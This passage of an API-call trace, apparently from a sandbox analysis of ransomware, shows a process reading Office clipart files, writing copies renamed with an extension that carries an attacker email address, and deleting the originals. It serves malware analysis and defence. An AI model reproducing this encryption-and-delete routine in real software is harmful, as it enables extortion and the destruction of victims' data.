(lpString=".xls") returned 4 [0186.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.625] lstrlenW (lpString=".xlsx") returned 5 [0186.625] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.625] lstrlenW (lpString=".ppt") returned 4 [0186.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0186.625] lstrlenW (lpString=".zip") returned 4 [0186.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.626] lstrlenW (lpString=".rar") returned 4 [0186.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.626] lstrlenW (lpString=".bz2") returned 4 [0186.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.626] lstrlenW (lpString=".7z") returned 3 [0186.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0186.626] lstrlenW (lpString=".dbf") returned 4 [0186.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0186.626] lstrlenW (lpString=".1cd") returned 4 [0186.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 68 [0186.626] lstrlenW (lpString=".jpg") returned 4 [0186.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.626] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.626] lstrlenW (lpString="DD01039_.WMF") returned 12 [0186.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0186.627] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=14820) returned 1 [0186.627] CloseHandle (hObject=0x520) returned 1 [0186.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x220 [0186.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0186.628] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.628] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0186.629] GetLastError () returned 0x0 [0186.629] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x39e4, lpOverlapped=0x0) returned 1 [0186.630] WriteFile (in: hFile=0x534, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x39f0, lpOverlapped=0x0) returned 1 [0186.632] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0186.632] WriteFile (in: hFile=0x534, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0186.632] SetEndOfFile (hFile=0x534) returned 1 [0186.632] CloseHandle (hObject=0x534) returned 1 [0186.632] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.632] SetEndOfFile (hFile=0x520) returned 1 [0186.662] CloseHandle (hObject=0x520) returned 1 [0186.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01039_.wmf")) returned 1 [0186.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0186.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0186.663] lstrlenW (lpString=".doc") returned 4 [0186.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.663] lstrlenW (lpString=".docx") returned 5 [0186.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.663] lstrlenW (lpString=".pdf") returned 4 [0186.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.663] lstrlenW (lpString=".xls") returned 4 [0186.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.663] lstrlenW (lpString=".xlsx") returned 5 [0186.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.663] lstrlenW (lpString=".ppt") returned 4 [0186.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0186.664] lstrlenW (lpString=".zip") returned 4 [0186.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.664] lstrlenW (lpString=".rar") returned 4 [0186.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.664] lstrlenW (lpString=".bz2") returned 4 [0186.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.664] lstrlenW (lpString=".7z") returned 3 [0186.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0186.664] lstrlenW (lpString=".dbf") returned 4 [0186.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0186.664] lstrlenW (lpString=".1cd") returned 4 [0186.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0186.664] lstrlenW (lpString=".jpg") returned 4 [0186.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0186.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0186.664] lstrlenW (lpString=".doc") returned 4 [0186.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.664] lstrlenW (lpString=".docx") returned 5 [0186.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.664] lstrlenW (lpString=".pdf") returned 4 [0186.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.664] lstrlenW (lpString=".xls") returned 4 [0186.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.664] lstrlenW (lpString=".xlsx") returned 5 [0186.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.664] lstrlenW (lpString=".ppt") returned 4 [0186.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0186.665] lstrlenW (lpString=".zip") returned 4 [0186.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.665] lstrlenW (lpString=".rar") returned 4 [0186.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.665] lstrlenW (lpString=".bz2") returned 4 [0186.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.665] lstrlenW (lpString=".7z") returned 3 [0186.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0186.665] lstrlenW (lpString=".dbf") returned 4 [0186.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0186.665] lstrlenW (lpString=".1cd") returned 4 [0186.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 68 [0186.665] lstrlenW (lpString=".jpg") returned 4 [0186.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.665] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.665] lstrlenW (lpString="DD01138_.WMF") returned 12 [0186.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0186.666] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3692) returned 1 [0186.666] CloseHandle (hObject=0x520) returned 1 [0186.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x220 [0186.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0186.666] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.666] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0186.667] GetLastError () returned 0x0 [0186.667] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xe6c, lpOverlapped=0x0) returned 1 [0186.669] WriteFile (in: hFile=0x500, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xe70, lpOverlapped=0x0) returned 1 [0186.669] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0186.670] WriteFile (in: hFile=0x500, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0186.670] SetEndOfFile (hFile=0x500) returned 1 [0186.670] CloseHandle (hObject=0x500) returned 1 [0186.670] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.670] SetEndOfFile (hFile=0x520) returned 1 [0186.673] CloseHandle (hObject=0x520) returned 1 [0186.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.674] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0186.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0186.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0186.674] lstrlenW (lpString=".doc") returned 4 [0186.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.674] lstrlenW (lpString=".docx") returned 5 [0186.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.674] lstrlenW (lpString=".pdf") returned 4 [0186.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.674] lstrlenW (lpString=".xls") returned 4 [0186.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.674] lstrlenW (lpString=".xlsx") returned 5 [0186.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.675] lstrlenW (lpString=".ppt") returned 4 [0186.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0186.675] lstrlenW (lpString=".zip") returned 4 [0186.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.675] lstrlenW (lpString=".rar") returned 4 [0186.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.675] lstrlenW (lpString=".bz2") returned 4 [0186.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.675] lstrlenW (lpString=".7z") returned 3 [0186.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0186.675] lstrlenW (lpString=".dbf") returned 4 [0186.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0186.675] lstrlenW (lpString=".1cd") returned 4 [0186.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0186.675] lstrlenW (lpString=".jpg") returned 4 [0186.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0186.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0186.675] lstrlenW (lpString=".doc") returned 4 [0186.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.675] lstrlenW (lpString=".docx") returned 5 [0186.675] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.675] lstrlenW (lpString=".pdf") returned 4 [0186.675] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.675] lstrlenW (lpString=".xls") returned 4 [0186.675] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.675] lstrlenW (lpString=".xlsx") returned 5 [0186.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.676] lstrlenW (lpString=".ppt") returned 4 [0186.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0186.676] lstrlenW (lpString=".zip") returned 4 [0186.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.676] lstrlenW (lpString=".rar") returned 4 [0186.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.676] lstrlenW (lpString=".bz2") returned 4 [0186.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.676] lstrlenW (lpString=".7z") returned 3 [0186.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0186.676] lstrlenW (lpString=".dbf") returned 4 [0186.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0186.676] lstrlenW (lpString=".1cd") returned 4 [0186.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0186.676] lstrlenW (lpString=".jpg") returned 4 [0186.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.676] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0186.676] lstrlenW (lpString="DD01139_.WMF") returned 12 [0186.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0186.677] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3632) returned 1 [0186.677] CloseHandle (hObject=0x520) returned 1 [0186.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x220 [0186.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0186.678] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.678] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0186.678] GetLastError () returned 0x0 [0186.678] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0xe30, lpOverlapped=0x0) returned 1 [0186.680] WriteFile (in: hFile=0x500, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xe40, lpOverlapped=0x0) returned 1 [0186.681] ReadFile (in: hFile=0x520, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0186.681] WriteFile (in: hFile=0x500, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0186.682] SetEndOfFile (hFile=0x500) returned 1 [0186.682] CloseHandle (hObject=0x500) returned 1 [0186.682] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.682] SetEndOfFile (hFile=0x520) returned 1 [0186.686] CloseHandle (hObject=0x520) returned 1 [0186.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0186.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0186.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0186.688] lstrlenW (lpString=".doc") returned 4 [0186.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.688] lstrlenW (lpString=".docx") returned 5 [0186.688] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.688] lstrlenW (lpString=".pdf") returned 4 [0186.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.688] lstrlenW (lpString=".xls") returned 4 [0186.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.688] lstrlenW (lpString=".xlsx") returned 5 [0186.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.688] lstrlenW (lpString=".ppt") returned 4 [0186.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0186.688] lstrlenW (lpString=".zip") returned 4 [0186.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.688] lstrlenW (lpString=".rar") returned 4 [0186.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.688] lstrlenW (lpString=".bz2") returned 4 [0186.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.688] lstrlenW (lpString=".7z") returned 3 [0186.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0186.688] lstrlenW (lpString=".dbf") returned 4 [0186.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0186.688] lstrlenW (lpString=".1cd") returned 4 [0186.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0186.688] lstrlenW (lpString=".jpg") returned 4 [0186.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0186.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0186.689] lstrlenW (lpString=".doc") returned 4 [0186.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.689] lstrlenW (lpString=".docx") returned 5 [0186.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.689] lstrlenW (lpString=".pdf") returned 4 [0186.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.689] lstrlenW (lpString=".xls") returned 4 [0186.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.689] lstrlenW (lpString=".xlsx") returned 5 [0186.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.689] lstrlenW (lpString=".ppt") returned 4 [0186.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0186.689] lstrlenW 